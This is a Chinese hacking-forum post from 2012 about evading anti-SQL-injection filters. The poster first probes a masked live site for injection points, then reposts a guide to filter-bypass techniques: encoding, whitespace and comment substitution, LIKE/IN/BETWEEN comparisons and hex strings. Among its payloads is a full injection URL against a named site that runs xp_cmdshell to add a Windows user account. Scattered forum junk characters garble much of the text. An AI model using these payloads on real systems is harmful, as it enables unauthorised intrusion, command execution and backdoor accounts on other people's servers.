找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2150|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
& o+ R; \1 o  khttp://www.xxx.cn/Article.asp?ID=117 and 1=1% t0 V6 i0 N6 U2 n1 p. N# ~
直接返回主页
' d' {3 A2 W6 e+ a# T" B: _, zhttp://www.xxx.cn/Article.asp?ID=117 or 1=1; A, l" H( Q+ \" n5 L
直接返回主页
0 u3 M8 H6 X( w1 }, H% B0 shttp://www.xxx.cn/Article.asp?ID=117 or2 u8 j. e% h; q
没有返回主页 没有过滤or
2 k/ v% Z$ L# chttp://www.xxx.cn/Article.asp?ID=117 and
- a& |9 I( E' {% s8 _) \2 R2 y直接返回主页 看来过滤了and
0 j& p! W3 ~( F5 }7 Ohttp://www.xxx.cn/Article.asp?ID=117 or 1
# B- g# m9 W5 ?4 u: E4 y! N没有返回主页 即没有过滤or 也没有过滤1
9 E; ^% N2 b5 {% ], q5 phttp://www.xxx.cn/Article.asp?ID=117 or 1=19 K5 }  k' j" I) G# H+ Q; Q
直接返回主页 很明显过滤了等号 & x- g: R  A7 m% B! q0 S
or的特性是与and相反的.
% s/ h& F. U. F, lor 1=1 爆错 或与原页面不同, b6 B; w, S8 U
or 1=2 原页面相同3 ], u2 ~" y) Y5 W( @
这样就是一个注入点
0 l8 `% r# _& }但他过滤了=号 我就用><号代替=号吧!9 f: P) O' Y) v6 P
or 1<2 很明显是正确的,所以应该与原页面不同1 |8 \0 Z( ^7 V8 O6 b- S) {
or 1>2 很明显是错误的,所以应该与原页面相同0 B! A2 u- k$ y6 v% F7 b8 O. P
然后看看有没有过滤其他的查询语句,比如select.
5 R  I, o, R5 n4 ehttp://www.xxx.cn/Article.asp?ID=117 select
* |% U3 Y0 u, l直接返回主页( A8 x  f  u( {3 Q0 _9 H, u6 l
又迷茫了..% |( b; t% N  N- Z' X9 Q; m7 A
& O& L' B* }9 _4 j' q4 j
9 [- X2 n) s% N% x
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
, M) B8 x& ~7 n2 ]1 x+ k! A这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
4 |( K' a7 s$ A& \7 C================================================
' w  M- R& Q; _5 C* l以下是转贴:5 _5 a. m3 O6 e& ^, J6 r

5 V# Z+ f' \+ }0 r& b  H. N突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
+ A! c9 W* v& s! S) X( Y( ~经过我的收集,大部分的防注入程序都过滤了以下关键字:
: y8 s* T& u& N1 m/ Z' vand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = $ T/ y6 l9 p: e$ {
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
# I4 g" C& l4 Z对于关键字的过滤,以下是我收集的以及我个人的一些想法。
, ]$ x# P) _2 L3 m* O1 W. `1、运用编码技术绕过
9 X' K" Z9 f6 ~6 o2 P  Z如URLEncode编码,ASCII编码绕过。例如or 1=1即
2 b6 R  {9 q" @& }+ ^2 [%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ! i2 O1 ?# g, |3 L7 B4 x2 U$ L
8 J! \2 r4 `9 ^/ F4 R# X& G; l
2、通过空格绕过 $ N. B* e1 W5 v
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
( V! K7 ^& m, qor’ swords’ =‘swords’ 6 q$ |* o3 W( j3 D. t1 k
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
0 ]" V4 J& _9 I$ h4 |+ O# @3、运用字符串判断代替 # L/ v. T, z& c8 M  L
用经典的or 1=1判断绕过,如
* F4 f3 h( s2 _1 L( A- {or ’swords’ =’swords’
7 k1 W+ g* `: x, c3 ^,这个方法就是网上在讨论的。
+ o: i0 S/ E- ?* M. a  B+ v4、通过类型转换修饰符N绕过 # u3 J) D8 G; F, b! Q& c
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
+ @4 ~: e5 X* J+ w! e% u5、通过+号拆解字符串绕过
" Q( O! \5 P6 u/ U4 U# |# M效果值得考证,但毕竟是一种方法。如 8 r: f$ U0 l" P9 d9 v0 i$ }. K
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
1 |2 X# u& o  G7 I
. l9 L0 h, i( d& h1 x6、通过LIKE绕过 1 y+ p, Y+ W4 U0 y4 p
以前怎么就没想到呢?如or & j/ x) i( P- N5 G$ c& q' F
’swords’ LIKE ’sw’
5 x8 }* M7 }: P5 N* I8 d& Q!!!显然可以很轻松的绕过 ( M5 g- r2 A" {) z4 p
“=”“>” . {! U% A( `( ~: o
的限制……
* o7 ^5 ?0 h1 w; y& ~1 J* K# t7、通过IN绕过
3 k7 B% M, X% w# i4 ~# a与上面的LIKE的思路差不多,如   j& Y! E) G+ O5 m8 d9 A# V
or ’swords’ IN (’swords’)
& S2 G. q. j$ k; C4 F( O1 e9 A; I3 p- o2 N
8、通过BETWEEN绕过 / u; F# H; h# {( ]
3 L3 e. a- u* S4 C
or ’swords’ BETWEEN ’rw’ AND ’tw’ ) ~* W0 _4 h# c8 L' p* I# H% g3 r' K

* L, j) M  F* R6 h* a9、通过>或者<绕过
$ |, \& M: N' Q4 e5 R# A3 Uor ’swords’ > ’sw’
4 ?/ W$ C4 F' O, aor ’swords’ < ’tw’
  K' G  J7 U* Kor 1<3 2 |) X, M" s* O4 J' ^
……
" v/ ?/ n0 p2 r  L10、运用注释语句绕过 ) v$ ~: W) n" g& \" u
用/**/代替空格,如: % v5 c+ T5 y  _; `  X8 w
UNION /**/ Select /**/user,pwd,from tbluser
# ?, D* S$ H. D9 l7 h7 F; d5 [. w; t0 O  S5 n! {
用/**/分割敏感词,如: 6 R- h6 A% M2 T3 ]
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser - M5 S# u/ s# d* C
+ d' h( J! g& J* f
11、用HEX绕过,一般的IDS都无法检测出来 # W$ H! i4 r1 T1 o
0x730079007300610064006D0069006E00 =hex(sysadmin) " c5 E/ w' X8 L2 ~
0x640062005F006F0077006E0065007200 =hex(db_owner) % l, u4 q/ |7 p8 B% G! W9 a4 B1 d
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 4 Z  i$ f6 y2 f+ `, d' g$ V' W
  declare @a sysname 0 F8 N  J$ D# c
  select @a=
+ x* Y4 B* w# b5 y8 b/ e  exec master.dbo.xp_cmdshell @a 6 T2 y6 R; G  i$ A5 F1 Y$ X% G
效果 + @- `& B; i! N" C) ]
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
/ {( s: |9 u5 N2 @1 d: m% Q8 Z. v  o
其中的
" G+ A1 u. Q+ G5 G3 }4 C+ f9 _+ q0 \0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
  d1 Q' d. a1 s  P2 {3 `! R就是
+ ~6 R" F3 t. ^( }0 G) V“net user angel pass /add”! U. _- D+ Y3 u' }. K

9 e9 f3 Z1 ^. H一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。* I1 v5 d' i( U2 o6 w, W, F1 J9 ]
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
: ^- x3 {9 {. t/ t' t另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似6 @+ W6 J6 F4 u) z
Copy code
  k2 }" H2 E( d9 _6 c) rselect * from table exec xp_cmdshell'xxxxxxxxxx'
) v0 F0 I0 t+ G2 N; N. Y. F
/ a9 l( u  P( x: o6 k
- [2 D2 j- T3 @, c8 t- @* r. j% ^select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
0 N# [( A  B' n. Z; W5 `
7 U* p' i7 L) R" ^6 v$ ]6 s! i2 Y( h! s* R
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'% q# k' f" g. U7 }) G1 n
+ y4 j3 R5 @! |* m7 _% R, ]

* j& Q' T# e4 W* k: sselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
; H% h( Q8 k9 ~' k, k$ p2 b7 E3 G% g5 |- f6 I: b8 ?( Z* ~
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?3 W. t  ~1 c, F' P

. q: p' t4 q! d: j! ~3 r这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
9 I; ?7 z3 k1 Z: l% D可能大家早就知道了,不管怎么说,发在这里吧!
3 T8 \( M3 a- {( V: n+ u; v
2 |* b- R+ X' _7 V5 e$ C: z最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
+ w9 r; Q6 k5 ~* E: E3 b( z$ h
9 y0 C, _/ }- e- E+ v. d
7 |6 c4 t2 n" J4 K9 c
8 s% p1 a! p" y0 i  M对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,( \' @# K! u, I
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? / Q: O$ _, i) k6 ?5 n
! t7 R4 g2 Q. f" d8 Y/ S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表